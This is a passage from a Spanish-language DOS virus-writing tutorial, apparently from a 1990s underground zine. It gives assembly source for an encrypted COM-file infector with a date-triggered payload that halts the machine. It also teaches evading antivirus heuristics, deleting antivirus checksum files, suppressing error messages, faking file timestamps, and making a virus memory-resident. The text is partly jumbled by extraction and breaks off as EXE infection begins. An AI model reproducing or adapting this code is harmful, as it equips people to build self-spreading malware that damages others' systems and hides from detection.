transfer area) que forma parte del PSP (que son los 100 bytes iniciales del segmento donde se ejecuta el com). El DTA empieza en el offset 80h y tiene la siguiente estructura: offset 00h

Bytes ocupados 21d

Funci¢n Usado por el dos para la función 4f (buscar

15h 16h 18h 1Ah 1Eh

01d 02d 02d 04d 13d

Atributos del file encontrado Hora del archivo Fecha del file Tamaño del archivo en bytes Nombre del archivo

proximo)

Ahora que sabemos esto para abrir un archivo encontrado con las funciones 4Eh y 4Fh sólo tenemos que poner en dx la dirección del campo Nombre de Archivo del DTA. Esta se encuentra en el offset 1Eh del DTA pero como el DTA se encuentra en el offset 80h, la dirección real será 80h+1Eh= 9Eh. mov mov mov int

ax,4200h cx,0000h dx,0000h 21h

;muevo el puntero

al principio

mov lea

cx,3h dx,[bp+cab_Orig]

;longitud a copiar ;direccion donde se

mov int

ah,3fh 21h

;funcion de lectura

copiara

tengo estas

En la variable cab_ORIG los 3 primeros byte del archivo . Esto es para comprobar si está infectado y si lo está de paso ya los 3 bytes para poder recuperarlos luego.(ten en cuenta que a alturas ya hemos recuperado en memoria los 3 bytes originales del file).

con un jmp

mov int

ah ,3eh 21h

cmp

byte ptr [bp+cab_ORIG],0E9h

je

otro

;cierro el archivo ;si empieza ;no lo contamina y

busca otro Cierro el archivo y compruebo si el byte almacenado en cab_ORIG es igual a 0E9h que es el código de la intrucción jmp. Si es igual probablemente esté contaminado por lo que buscamos otro

para r/w

mov

ax, 3d02h

;abro el archivo

mov int mov

dx, 009eh 21h word ptr ds:[bp+handel],ax ;guardo en handel en

mov

bx,ax

la variable ; guardo en bx el handle del

archivo Fijate bien que todas las referencias a variables se realizan sumando bp. mov cx, 2h mov si,009Ah lea di,[bp+cabecera+1] rep movsb Ahora hallamos el tamaño del archivo , lo leemos del DTA como ya hicimos con el nombre del archivo sub bytes)

word ptr [bp+cabecera+1],3

Ahora resto al tamaño del archivo lo que ocupa el tamaño del jmp (3 ya que el salto comienza realmente desde la siguiente instrucción. mov mov mov int

ax,4200h cx,0000h dx,0000h 21h

mov mov lea int

ah,40h cx,3h dx,bp+cabacera 21h

;muevo el puntero

al principio

;escribo los nuevos 3 bytes ;que tendrá el archivo

Que conste que la variable cabecera la ten¡a preparada con un E9h en el primer bytes(jmp) mirar la definición de variables del final Por ello lo único que he tenido que hacer es completarla metiendo la dirección hallada. mov mov mov int

ax,4202h cx,0000h dx,0000h 21h

;muevo el puntero al final

mov mov

ah,40h cx,longitud

;en cx el número de bytes a

lea int

dx,bp+start 21h

;pues la longitud del archivo ;que va a ser

copiar

mov int

ah ,3eh 21h

;cierro el archivo

Completamos la infección cerrando el archivo salir:

pop pop pop pop pop pop pop

si di dx cx bx ax bp

mov ax,100h CONTAMINADO OTRO ARCHIVO jmp ax

; ; ; ; ; ; ;

DESAPILO LOS REGISTROS

;FELICIDADES YA HAS

Para salir desapilamos los registros guardados y con un simple jmp al offset 100h el hoste emp

Bueno,bueno,bueno ... Tenemos aquí un bonito virus, ¿qué podemos hacer para mejorarlo un poco?. Pues vamos a encriptarlo. Y además lo vamos a encriptar cada vez con un valor diferente, que cogeremos de un contador que tiene el Bios (el bios cuenta el número de tics de reloj a partir de las 12). ¿qué porqué encriptamos con un valor variable?.Pues fácil, si encriptamos cada vez con un valor diferente ,la parte del virus que permanece constante con cada infección será mínima(sólo la rutina de desencriptación). Actualmente hay más sofisticadas técnicas para que se reduzca el codigo invariante del virus, se trata del POLIMORFISMO que se basa en encriptar según un número aleatorio y modificar cada vez la rutina de desencriptación. Pero basta de rollos, vamos a explicar un poco eso de la encriptación. Utilizaremos una encriptación xor ,esta encriptación tiene una cualidad muy interesante y es que la rutina de desencriptación y la de encriptación es la misma. Fijaos que si realizamos un xor a un número con el valor 5 (por ejemplo) ,obtenemos otro número diferente , pero si volvemos a aplicar la función xor con el valor 5 obtenemos el valor que teníamos al principio. Nota: La función A xor B es cierto si A es cierta y B no o si A es falsa y B cierta. Supongamos ahora que tenemos un byte del virus 11011010 y que encriptamos según el valor del timer 00100111 Valor encriptado Valor desencriptado ---------------------------------11011010 xor 00100111 = 11111101 xor 00100111 = 11011010 Tened en cuenta que a hay muchas posibilidades de encriptación pero no siempre la función de encriptado es igual a la de desencriptado como pasa con la xor, tomad algunos ejemplos: Función de encriptación Función de Desencriptación -----------------------------------------------add .................................... sub add xor

sub .................................... xor .................................... ror ....................................

rol ror dec

rol .................................... inc .................................... dec ....................................

inc

not .................................... not La estructura es muy simple cuando el virus toma el control llama a una rutina de desencriptación y ésta desencripta el codigo del virus( lee el byte del timer que lo tenemos almacenado en una variable dentro del codigo y con ese valor pasamos la función xor a cada byte del virus). -----------------| jmp virus | -----------------| codigo del | | hoste | -----------------| virus: | | Rutina de | | desencriptación| ------------------| virus | | encriptado | ------------------Pero que coño pasa , aquí hay un problema.¿cómo vamos a dar el control a una rutina de desencriptación si no tenemos el virus encriptado todavía?.Aquí viene lo divertido del asunto. En el archivo que vamos a crear, no haremos un jmp START como hicimos en el ejemplo anterior haremos jmp Encryptor, siendo Encryptor una etiqueta que indica el comienzo a una rutina de encriptación que colocaré al final del virus. Fijate bien que la coloco después de la etiqueta 'fin'. Esto és porque la rutina sólo tiene que funcionar en el archivo que creamos nosotros(ya que no tiene todavía el codigo encriptado) ,de este modo esa rutina no se copiará en las sucesivas infecciones. El metodo de infección es ligeramente diferente, ya que hemos de encriptar primero el virus y luego añadirlo al archivo. Por ello copio el codigo del virus textualmente al final del propio virus ,all¡ lo encripto y de all¡ lo llevo al final del archivo. Atención a las modificaciones del virus anterior... longitud zona_encrypt comienzo

equ equ equ

fin-start offset zona_end-offset zona_start offset zona_start-offset start

Hallado la constante zona_encrypt para definir la cantidad de bytes a encryptar(que no es igual a la longitud del virus, porque la rutina de desencriptación obviamente no se encripta). La variable comienzo la utilizo para direccionar la zona a encriptar cuando muevo el virus para encriptarlo. code

segment 'code' assume cs:code,ds:code,es:code org 100h ;empiezo en 100

hoste: simulado

jmp

encryptor

;esto es un hoste

int

20h

;con esto salgo al DOS

Fijaos que en vez de saltar a Start salto a encryptor para encriptar el código del virus antes de pasar el control a la rutina de desencriptación start: alli: no

push call pop

bp alli bp

; busco la ip de inicio ; para que la variables

sub

bp,offset alli

; aparezcan corridas :-)

push push pop pop push push push push push push

cs cs ds es ax bx cx dx di si

; ; ; ; ; ;

APILO LOS REGISTROS

*********** Rutina de desencriptación ********************** Tened en cuenta que hemos de hallar en bp el desplazamiento antes de la rutina de desencriptación , ya que esta rutina si que se ejecuta en cada archivo contaminado. mov xor mov xor inc dec je

mas:

cx,zona_encrypt ;en cx el numero de bytes di,di ;a encriptar ax,byte ptr [valor] byte ptr [zona_start+di],ax di cx mas

No voy a explicar la rutina ya que es la misma que la rutina de encriptación ************ antención que aqu¡ empieza la zona encriptada ******* zona_start: mover cab_ORIG a 100h

cld mov

cx,3d

;en cx el numero de bytes a

mov lea

di,100h si,bp+cab_ORIG

;muevo de ds:si ->es:di ;es decir de la variable

rep

movsb

mov int cmp jne cmp

ah, 02h 21h dh, 2d noactivo dl, 19d

;compruebo si el més es 2 ;compruebo si el día es 19

noactivo

jne

noactivo

mov lea

ax,0900h dx,bp+mensaje

int

21h

hlt

;aparece el mensaje en pantalla ;si es 19 del 2 sino se salta a

;cuelgo el ordenata

noactivo:

ARCHIVO

otro:

copiará

con un jmp

mov lea mov

ah,4eh dx,bp+file_cont cx,00000000b

; ; ;

int

21h

;

mov int jb

ah,4fh 21h salir

BUSQUEDA DEL

;salto si no quedan más archivos ;con extensión com

mov mov int mov

ax, 3d00h dx, 009eh 21h bx,ax

;abro el archivo para lectura

mov mov mov int

ax,4200h cx,0000h dx,0000h 21h

;muevo el puntero

mov lea

cx,3h dx,[bp+cab_Orig]

;longitud a copiar ;dirección donde se

mov int

ah,3fh 21h

;función de lectura

mov int

ah ,3eh 21h

;cierro el archivo

cmp

byte ptr [bp+cab_ORIG],0E9h

je

otro

;no lo contamina y

mov

ax, 3d02h

;abro el archivo

mov int mov

dx, 009eh 21h word ptr ds:[bp+handel],ax ;guardo en handel en

mov

bx,ax

;guardo el handel al principio

;si empieza

busca otro para r/w

la variable archivo

; guardo en bx el handle del

mov mov lea rep

cx, 2h si,009Ah di,[bp+cabecera+1] movsb

sub

word ptr [bp+cabecera+1],3

mov mov mov int

ax,4200h cx,0000h dx,0000h 21h

mov mov lea int

ah,40h cx,3h dx,bp+cabacera 21h

;muevo el puntero

al principio

;escribo los nuevos 3 bytes ;que tendrá el archivo

Ahora que he escrito la nueva cabecera he de mover el código del virus

y encriptarlo antes de ejecutar la int 21 función 40 para copiar el virus al final. xor ax,ax int 1Ah mov al,dl ;sólo leo el valor menos mov byte ptr [bp+valor],al ;significativo ya que sólo ;necesito un byte

Aquí obtengo el valor del timer con la int 1ah y lo guardo en la variable valor para que lo pueda utilizar luego la rutina de desencriptado. cld lea lea mov rep

otro_byte:

mov xor mov xor inc dec je

si,bp+start di,bp+Encrypt_buf cx,longitud movsb

;copio el virus a otra parte ;para encriptarlo ;ds:si -> es:di

cx,zona_encrypt ;en cx el numero de bytes di,di ;a encriptar ax,byte ptr [valor] byte ptr [bp+Encrypt_buf+comienzo+di],ax di cx otro_byte

Con esto encripto el virus (que lo he movido a Encrypt_buf) mov mov mov int

ax,4202h cx,0000h dx,0000h 21h

;muevo el puntero al final

mov mov

ah,40h cx,longitud

;en cx el número de bytes a

lea

dx,bp+Encrypt_buf

;pues la longitud del archivo

copiar

int

21h

;que va a ser

Fijate aqu¡ que no empiezo a copiar en Start sino en Encrypt_buf donde está el virus con su zona correspondiente encriptada ;)

salir:

mov int

ah ,3eh 21h

pop pop pop pop pop pop pop

si di dx cx bx ax bp

mov ax,100h CONTAMINADO OTRO ARCHIVO jmp ax cab_ORIG cabecera handel file_cont Mensaje de',0ah,0dh

;cierro el archivo ; ; ; ; ; ; ;

DESAPILO LOS REGISTROS

;FELICIDADES YA HAS

db db dw db db

090h,090h,090h 0e9h,00h,00h 0 '*.com',0 'Ooooooohhhh!!! El virus ejemplo del web

db db

'Nigromante se ha activado.....',0ah,0dh ' ..... para desactivarlo consulten

con',0ah,0dh

db ' nEUrOtIc cpU.',0ah,0dh zona_end: ************ antención que acaba la zona encriptada ******* valor db 5h encrypt_buf db 0 ;a part¡r de aquí escribo el código ;del virus para encriptarlo fin label near Ojo , a que la variable valor tiene que estar fuera de la zona encriptada, si estuviera dentro como coño podrías desencriptar luego el codigo.je,je,je.

Encryptor:

mas:

push push push push pop

di cx ax cs ds

;apilo los registros utilizados ;por la rutina de desencriptación

mov xor mov xor inc dec je

cx,zona_encrypt ;en cx el numero de bytes di,di ;a encriptar ax,byte ptr [valor] byte ptr [zona_start+di],ax di cx mas

Fijate que no necesito en esta rutina sumar a las variables bp ya que esta rutina sólo se ejecutará en este archivo y no se va a copiar en las demás infecciones. En ax leo el contenido de la variable Valor(el valor del timer) que en este archivo le he dado un 5h por poner algo. Y con ese valor aplico la función xor a cada byte de la zona encryptada. pop pop pop jmp

ax cx di start

;desapilo los registros utilizados

Ahora si que salto a Start ,ya el virus está rutina de desencriptación+codigo encriptado. code

ends end

como toca,

start

Otra ventaja de la encriptación es que si habres el ejecutable con un editor de texto (aunque para qué coño vas a querer abrirlo con un editor de texto) ya no se verá el mensaje del virus.Lo que delataría claramente que el archivo está infectado. Con esto finalizo la clase de encriptación ,

Para compilarlo simplemente hay que poner las instrucciones en un mismo archivo(no se compilará con mis comentarios por ah¡ je,je,je ;)). Y escribir tasm archivo.asm tlink /T archivo.asm Bueno hasta el siguiente numero Afectuosamente Nigromante by nEUrOtIc cpU. NOTA: No lo he compilado así que si hay errores los buscais. Si hay alguna duda me escribis, fale?. No se pude mostrar la imagen v inculada. Puede que se hay a mov ido, cambiado de nombre o eliminado el archiv o. Compruebe que el v ínculo señala al archiv o y ubicaciones correctos.

Bueno ,he estado evitando hasta ahora hablar de heurística, pero supongo que és inevitable. La busqueda heurística es un método utilizado por lo antivirus y consiste en buscar trozos muy utilizados en los virus. Por ejemplo la busqueda del desplazamiento de las variables (o delta offset o beta offset como dirían algunos programadores de virus).Ese trozo es muy común en los virus y en cambio ningún programa (normalmente) lo utiliza (¿qué programa necesita buscar un desplazamiento de variables si no se va a cambiar de offset?). En nuestro programita saltarían por ejemplo el flag de encriptación (flag # en el tbav) ,el flag de busqueda de ejecutables(porque buscamos archivos com, eso quieras o no es bastante sospechoso) ,el flag de busqueda del delta offset (flag E en el tbav) y el flag de regreso al hoste (salta cuando damos el control al hoste saltando al offset 100h,flag B en el tbav) Lista de flags del tbav ----------------------E Flexible Entry-point. The code seems to be designed to be linked on any location within an executable file. Common for viruses. J Suspicious jump construct. Entry point via chained or indirect jumps. This is unusual for normal software but common for viruses. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Very usual for viruses. M Memory resident code. The program might stay resident in memory. c No checksum / recovery information (Anti-Vir.Dat) available. C The checksum data does not match! File has been changed! T Incorrect timestamp. Some viruses use this to mark infected files. Z EXE/COM determination. The program tries to check whether a file is a COM or EXE file. Viruses need to do this to infect a program. @ Encountered instructions which are not likely to be generated by an assembler, but by some code generator like a polymorphic virus. G Garbage instructions. Contains code that seems to have no purpose other than encryption or avoiding recognition by virus scanners. U Undocumented interrupt/DOS call. The program might be just tricky but can also be a virus using a non-standard way to detect itself. K Unusual stack. The program has a suspicious stack or an odd stack. 1 Found instructions which require a 80186 processor or above. R Relocator. Program code will be relocated in a suspicious way. L The program traps the loading of software. Might be a virus that intercepts program load to infect the software. w The program contains a MS-Windows or OS/2 exe-header. F Suspicious file access. Might be able to infect a file. S Contains a routine to search for executable (.COM or .EXE) files. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. D Disk write access. The program writes to disk without using DOS. ? Inconsistent exe-header. Might be a virus but can also be a bug. N Wrong name extension. Extension conflicts with program structure. Si os fijáis algunos de los flags son una chorada (ojo al flag w) Pero tranquilos ,en esta vida todo tiene solución en primer lugar prodríamos sustituir la tipica rutina ... call find_offset

find_offset:

pop sub

bp bp,offset find_offset

... por una rutina en la que leamos directamente de la pila find_offset:

call mov mov sub add

find_offset si,sp bp,word ptr ss:[si] bp,offset find_offset sp,2

;adiós flag E

Fijate que los datos en la pila se almacenan decrecientemente, con lo que el último elemento está en la posición de memoria más baja. El último elemento de la pila lo apunta el par de registros ss:sp No podemos direccionar la memoria con el registro sp por lo que primero pasamos el valor de sp a si (mov si,sp) después leemos el valor apuntado por si y lo llevamos a bp(ésta és la dirección apilada con el call) Y bueno realizamos el sub y ojo a esta parte sumamos 2 al registro sp ya que hemos desapilado una palabra de la pila y ahora el último elemento de la pila está dos posiciones hacia arriba. Esta rutina sirve pero ten en cuenta que el call find_offset no puede ser el primer comando del virus (sino la heurística saltaría). Antes del call find_offset podrías poner ... push cs push cs pop ds pop es ....ya que de todas formas lo tendrías que poner. No tengas tentaciones de poner instrucciones inútiles antes del call como mov cx,cx xchg ax,ax Entonces no saltaría el flag del delta offset sinó el flag de garbage instruccion (instrucciones basura) ¿qué porqué salta la heurística con instrucciones inútiles? Pues porque un programa normal no suele utilizarlas , no són instrucciones que un compilador genere. En cambio los virus las utilizan para modificar la rutina de desencriptación en virus Polimórficos. Así que evita utilizarlas. Ahora que hemos evitado el flag E vamos a anular el flag B (back to entry point, regreso al punto de entrada).Salta cuando damos el control al com después de la ejecución del virus. Es decir si utilizamos .... mov jmp

ax,100h ax

pero esto tiene una solución también drástica,(no utilizaremos un mov)

push pop jmp

100h ax ax

;apilamos el valor 100h en la pila ;desapilamos ese valor en el registro ax ;saltamos a la dirección 100h

Si, si, sé lo que estáis pensando.Pero se vé que a los creadores de antivirus no se les ocurrió :> Je,Je hemos aniquilado otro flag. Vamos a por el siguiente. ¿Qué tal el flag de encriptación?. La verdad es que éste me costo un poquito. Leí por algún sitio que poniendo después de la rutina de desencriptación un comando de salida al DOS se quitaba,con lo que el programa antivirus se pensaba que la zona encriptada eran datos del programa Algo así :> mov xor mov xor inc dec je jmp

mas:

mov int

cx,zona_encrypt ;en cx el numero de bytes di,di ;a encriptar ax,byte ptr [valor] byte ptr [zona_start+di],ax di cx mas sigue ;salto para ejecutar el virus ;ya desencriptado ax,4c00h ;para salir al DOS pero 21h ;nunca llega a ejecutarse

sigue: ***************** aquí empieza el código encriptado ********** zona_start: cld mov cx,3d mov di,100h lea si,bp+cab_ORIG rep movsb . . . La verdad es que es una idea ingeniosa ,pero no me funcionó. Así que al final conseguí evitar el dichoso flag encriptando y desencriptando el virus (parece paradógico ,evitar el flag de encriptación con una rutina de encriptación juajuajuajua) Encripto y desencripto con una función xor y utilizando un valor fijo. Estas dos rutinas las ejecuto antes de llegar a la verdadera rutina.Y estarán en cada archivo. La estructura del com quedaría así: Busqueda del delta offset Encripto el virus con un valor fijo Desencripto el virus con el mismo valor Desencripto el virus con un valor variable que se encuentra almacenado en el codigo. Codigo del virus encriptado aquí Podéis revisar el Tarazona_Killer en la zona de virus comentados que está en esta web (si tenéis más dudas). Otro menos, esto va disminuyendo.Vamos ahora a por el flag S Que salta con las rutinas de busqueda de archivos ejecutables

(exe,com). También hay una fácil solución.En vez de buscar archivos *.com buscar archivos que cumplan *.c?m . Y después verificar si el caracter del medio es una o. Fácil.El flag Z tiene una solución parecida. El flag z salta con rutinas de verificación si un archivo es com o exe (es decir comprobando si los 2 primeros bytes son MZ). Por ejemplo saltaría con rutinas como: cmp word ptr [cab_ORIG],'ZM' jne contamina_com jmp salir contamina_com: NOTA: Fíjate que para verificar si los 2 primeros bytes son MZ comparamos con la cadena ZM ya que el bytes menos significativo se carga más hacia la derecha y el menos significativo a la izquierda. Para evitar el flag leemos primero un byte y luego otro

contamina_com:

cmp jne cmp jne jmp

byte ptr [cab_ORIG].'M' contamina_com byte ptr [cab_ORIG+1],'Z' contamina_com salir

Bueno a estas alturas sólo saltaría el flag c C The checksum data does not match! File has been changed! El Tbav crea un archivo en cada directorio con infomación sobre los archivos ejecutables que hay en él. Gracias a este archivo el Tbav sabe si un archivo a aumentado de tamaño o qué, (bueno no suelen engordar así por así los ejecutables por lo que si uno crece de tamaño lo más normal es que tenga un virus :> ) La manera de evitar este flag es borrar el archivito con lo que de paso puedes borrar otros archivos de verificación de otros antivirus como el chklist.ms etc. ¿qué cómo los borras? pues coño pa eso tienes la lista de interrupciones int 21 en AH->41h y en DS:DX->asciz file Olvidémonos un poco de los flags y de la heurística ,por lo menos hasta que llegemos a la residencia ;>. Y vamos a deperurar un poco más el programilla. Piensa por un momente lo que pasaría si alguien copia nuestro virus a un diskette ,luego lo protege contra escritura y después ejecuta el virus. Pues aparecería en pantalla un horroroso mensaje de Fallo de escritura en unidad A Anular, Reintentar, Ignorar? Incluso a veces aparece en pantalla error en int 24 :> Y vosotros no queréis que eso pase ,porque delataría a nuestro pequeño virus.

Pues bueno como todo en esta vida tiene una solución. La interrupción 24 es la que gestiona los errores críticos. Entre ellos está la lectura en diskettes defectuosos, la escritura en diskettes protegidos contra escritura etc. Las interrupciones són procedimientos que se ejecutan cuando se produce algún evento en el sistema ya sea apretar una tecla ,mover el ratón, o que aparezca un error crítico. El DOS crea a partir de la dirección de memoria 0000:0000 una tabla que indica la dirección de inicio de cada interrupción del sistema. Sólo hemos de leer la dirección de la interrupción 24. Guardarla en una variable . Cambiar la dirección a un procedimiento nuestro que no devuelva codigos de error y luego cuando ya hallamos contaminado devolver a la interrupción 24 su dirección inicial. (fijaos en la función 35h y 25h de la int 21h, para leer la dirección de una interrupción y para cambiarla) mov int

ax,3524h 21h

;en ah el codigo de la función (35h) ;en al el número de la interrupción

Esto devuelve en BX el offset y en ES el segmento de la interrupción mov mov

cs:[bp+old_int24_off],bx cx:[bp+old_int24_seg],es

Con esto guardo en memoria la dirección de la interrución original Y ahora desvío la interrupción 24 a un procedimiento mío. mov mov int jmp com's new_int24: contaminar:

dx,offset new_int24 ax,2524h 21h ;en ds:dx dirección de la nueva función Contaminar ;supongo ds = cs ya que estamos contaminando

xor al,al iret

;en al la interrupción 24 devuelve el código ;de error por lo que la pongo a 0 :>

Después de contaminar simplemente devolvemos el valor original a la interrupción con... lds mov int

dx,cs:old_int24 ax,2524h 21h

Fijate en las variables que añado a la zona de variables old_int24 label dword old_int24_off dw 0 old_int24_seg dw 0 Defino una etiqueta llamada old_int24 para referenciar el inicio a los valores del offset y del segmento de la interrupcion 24 así con el comando lds dx,cs:old_int24 los puedo cargar directamente

en DS:DX sin tener que leer las 2 variables por separado. Otras mejoras que podríamos añadir es la verificación del tamaño del archivo. Ten en cuenta que un archivo com sólo puede tener 65 kbytes de tamaño eso hace que si el hoste est muy cerca de ese tamaño y si tú le añades el código del virus ,el conjunto de hoste+virus no se podría cargar en un único segmento por lo que el programa se colgaría . Por eso lo mejor es verificar el tamaño con una rutina como esta (supongo en la variable longitud el tamaño del hoste) .... mov cmp jb jmp

ax,50000d word ptr [bp+longitud],ax size_ok ;salto si el primer elemento salir ;a comparar es menor al segundo

size_ok: También es interesante guardar la hora y la fecha del archivo contaminado y luego restaurar la fecha y la hora , así nadie se dará cuenta que la última modificación del archivo fué cuando el virus le contaminó }:> Para eso utilizaremos la función ax=5700h de la int 21 para leer la fecha del archivo y la ax=5701h para cambiarla. En dx se obtendrá el campo de la hora y en cx la fecha.Según el siguiente criterio. Bit(s)

-

INSTALACION DE UN VIRUS EN LA MEMORIA DEL ORDENADOR

-

------------------------------------------------------------------------------

Este artículo intenta explicar los métodos mas usados de residencia, con un enfoque mas práctico que teórico, dejando en claro lo fundamental para poder aprovecharlos, en especial el de MCB. Muestra ejemplos de los 2 tipos de técnicas descritos, que pueden (en el caso del MCB) usarse directamente en sus propios virus. La teoría no esta muy detallada, pero se encontrará para

todo lo necesario

que el novato comprenda y pueda usar estos métodos. Y con la información del articulo, si desea profundizar la teoría, es sólo cuestión de leer alguna guía o manual, que hable sobre la memoria, ya que aquí se explica lo básico necesario (espero...).

Empezemos: Los métodos más usados para dejar a un virus residente son: los que el DOS proporciona o el método de MCB (Memory Control Block).

La primera forma es la más simple, pero también la mas ineficaz, primero porque le informa al DOS que se esta dejando algo residente... además al ejecutarse esa función retorna el control al DOS. El programa que se intente ejecutar termina!. El virus que use esta técnica para evitar salir al DOS en su instalacion en memoria tiene que reejecutarse. Para quedar

residente, se ejecuta a si mismo otra vez (serv. 4bh), y en su segunda ejecución ejecuta una int 27h o llama al servicio 31 de la int. 21h, esta a su vez, le da el control al programa padre, al que se cargo primero, y este puede entonces terminar, ejecutando al anfitrión. hiciera, al

Si esto no se

ejecutar una int 21, por ejemplo, se le cedería el control al interprete de comandos...

Una de las característica de los virus que usan esta técnica es que suelen colocarse al principio de los archivos, estos servicios dejaran residente la cantidad de parrafeo que se les indique desde el comienzo del programa en memoria... Si tenemos un COM de 50K y el virus al final, al usar la int 27h, y dejar residente, por ejemplo, 1k, lo que quedaria seria el primer K del COM, no el virus que esta al final.... Es evidente que no pondemos dejar 50k quede

residentes... para que el virus

en memoria se puede relocar(mover), a otro bloque, tranferirle el control, y luego este le cederá el control al programa padre... Para evitar esto, muchos se colocan al principio del programa que infectan. Claro que esto es lento, porque hay que leer todo el file, y luego escribirlo después del virus, lo que no pasa si va al final, en ese caso solo hay que escribir el virus, no el virus y el archivo!. Este método es poco elegante, ademas de lento si se infecta dejando el virus al comienzo, entre otras cosas...

Abajo, sigue un fuente de un TSR, no de un virus!, solo un TSR normal

para ilustrar su funcionamiento. Este ejemplo intercepta la int. 21 y luego le pasa el control sin hacer nada. Se le puede agregar el código para hacer lo que se quiera.

====================================================================== ========= ====================================================================== ========= code

segment assume cs:code,ds:code org

100h

start: jmp

instalar

;Salta a la rutina de ;instalacion.

;En esta variable va la direccion original de la int 21h. old_21

dd

2

new_21:

;Aca va la rutina que se cuelga de la interrupcion 21h.

jmp original.

cs:[old_21]

instalar:

;Obtengo el vector original de la int 21 mov

ax, 3521h

int

21h

mov

word ptr old_21, bx

mov

word ptr old_21+2, es

;Salta a la int

;Seteo el nuevo

vector de la int 21

mov

ax,2521h

push

cs

pop

ds

mov

dx, offset new_21

int

21h

;Queda residente mov

ah, 31h

mov dx, 30d int 21h ; residentes.

;-- Cantidad de parrafeo(16 bytes) a dejar code ends end star

El segundo método es el de MCB, este es un poco mas complejo que simplemente llamar a al int 27h,pero es mucho mas eficaz. Para entender como funciona hay que saber que el dos crea un bloque de control por cada bloque de memoria que use, este bloque de control, mide 16 bytes, un parrafo y esta justo por encima del bloque de memoria asignado. En un .COM, por ejemplo, en cs - 1, esta la dirección de este bloque. En el offset 3 del mismo esta la cantidad de memoria usada por ese programa..., para poder dejar residente un prog. hay que restarle a ese valor la longitud del virus, luego liberar la memoria que ya no usa (servicio 4ah) y asignarla (servicio 48h) a nuesto prog. Para terminar, marcamos el MCB del segmento al que movimos nuestro virus con '8' en el offset 1, para que el dos piense que es parte suya y no use esa memoria. En ese offset se coloca una marca, para identificar al bloaque, para esta rutina usamos 8 poruque es el que usa el DOS. El código que sigue muestra como se hace... Este code sirve para dejar un virus residente desde un COM, si se carga desde un EXE hay que tener en cuanta que el segmento del MCB a modificar lo obtenemos de restarle 1 a DS y no a CS.;Paso a AX el Code Segment, lo decremento y paso a ES, para obtener; la memoria reservada por el programa anfitrión (ES:[3]), que queda en AX... mov ax, cs ;Con esto obtenemos el segmento dec ax ;del MCB. mov es, ax ;Aca estamos obteniendo del campo mov ax, es:[3] ;del MCB, la memoria utilizada. ;Resto a la memoria usada por el anfitrión la longitud del virus, el resultado ;en AX. sub ax, bx ;En BX esta la longitud del virus, ;en parrafos. ;Paso el resultado de la operacion anterior a BX, para después

llamar al ;servicio de liberar memoria, que se llama com BX, con el nuevo tamaño y con ;el asegmento en ES. push bx ;Salvo la cantidad de mem a reservar. mov bx, ax ;Le paso la nueva cantidad a BX. push cs pop es mov ah,4ah int 21h ;Asigno la memoria liberada a mi virus, el segmento de la memoria asignada ;queda en AX. Decremento BX porque un parrafo lo va a usar el DOS.... pop bx ;Popeo la cantidad de mem a reservar. dec bx mov ah, 48h int 21h ;Decremento AX, Y lo paso a ES, de esa forma apunto al parrafo que usa el DOS ;como control, marco ese parrfo en El offset 1 con 8, para que el DOS lo ;considere como parte suya y no utilize esa zona de memoria. ;Después incremento AX otra vez y lo paso a ES, para que ES quede apuntando ;a la memoria que el virus usara. dec ax mov es, ax mov word ptr es:[1], 8 mov word ptr es:[8],'XX' ;Opcional, un nombre al bloque. inc ax mov es, ax push es ;Salvo la dir del seg Del virus Ahora lo que queda es mover el virus al segmento reservado, esto es cuestión de hacer un rep movsb al segmento al que apunta ES y listo, el virus esta residente. NOTA: La rutina en si no hace saltar ninguna alarma, la alarma de residencia del TB salta cuando detecta la actualizacion de la int 21h o 13h. Fé de Ratas.. ;) - mov ax, cs ;Con esto obtenemos el segmento dec ax ;del MCB. mov es, ax ;Aca estamos obteniendo del campo mov ax, es:[3] ;del MCB, la memoria utilizada. ;**** ;El problema de esto, es que en ningún momento se aclara que tenemos que decla_ ;rar el tamaño del virus un poco mas grande, exactamente un parrafo mas largo. ;Esto por qué ? Y bueno, en el momento en que tenemos que restarle un parrafo a ;la memoria que queremos reservar (esto lo haciamos para dar lugar a que se ;cree el MCB del nuevo bloque), estamos reservando un parrafo menos de virus ;también.. osea que la última parte del virus no entraría en la memoria reser_ ;vada.. Puede ser que no traiga problemas por ser un rea de datos o algo por ;el estilo, pero es aconsejable hacer las cosas bien, o no ? ;-) ;Bueno, la manera de solucionar esto es simplemente INCrementar la cantidad de ;parrafos del virus o si lo declaran en su programa con un : ; ; TAMANO_EN_PARRAFOS EQU ((FIN-COMIENZO)/16)+1 ; ; declarar el incremento directamente ahi, para no gastar bytes ni clocks ;) : ; ; TAMANO_EN_PARRAFOS EQU ((FIN-COMIENZO+15)/16)+1 ; ;**** sub ax, bx ;En BX esta la longitud del virus, ;en parrafos. (ahora incrementada). push bx ;Salvo la cantidad de mem a reservar. mov bx, ax ;Le paso la nueva cantidad a BX. push cs pop es mov ah, 4ah int 21h pop bx ; Popeo la cantidad de mem a reservar. dec bx mov ah, 48h int 21h dec ax mov es, ax mov word ptr es:[1], 8 mov word ptr es:[8],'XX' ;Opcional, un nombre al bloque. inc ax mov es, ax push es ;Salvo la dir del seg. del virus ... ;blah blah blah y sigue el código ;) ...DTM - Dead to Minotauro BBS silly Troyan installer. Text by Zarathustra for Minotauro Magazine.

No se pude mostrar la imagen v inculada. Puede que se hay a mov ido, cambiado de nombre o eliminado el archiv o. Compruebe que el v ínculo señala al archiv o y ubicaciones correctos.

Contaminando ficheros EXE --------------------------Los ficheros com no parecen un problema, pero ¿y los EXE?, no son ni mucho menos difíciles de contaminar aunque hay que dominar el header (la cabecera) de los EXE. Los EXEs pueden tener más de un segmento lo que hace necesario una cabecera con información acerca de la memoria que necesitará el programa, la dirección de inicio donde se comenzará a ejecutar el programa etc. Además posee una tabla de realocación para que el programa se pueda cargar a partir de cualquier segmento de memoria. Cuando el DOS carga un EXE primero constuye un PSP y un environment block (como ya hac¡a con los COM) luego lee el header y a partir de los datos de éste carga el EXE. Luego realocatea el código.¿Pero qué coño es eso de realocatear el código?. En un Exe las referencias de segmento se hacen a partir del segmento 0 pero el código no tiene porqué cargarse necesáriamente en ese segmento por eso se creó la realocación. En el Exe se almacena una tabla con punteros a todas las referencias a segmentos ya sabéis, instrucciones del tipo. call 1234:0023 jmp 1000:2344

(ojo que un call 23 no hace referencia a segmentos)

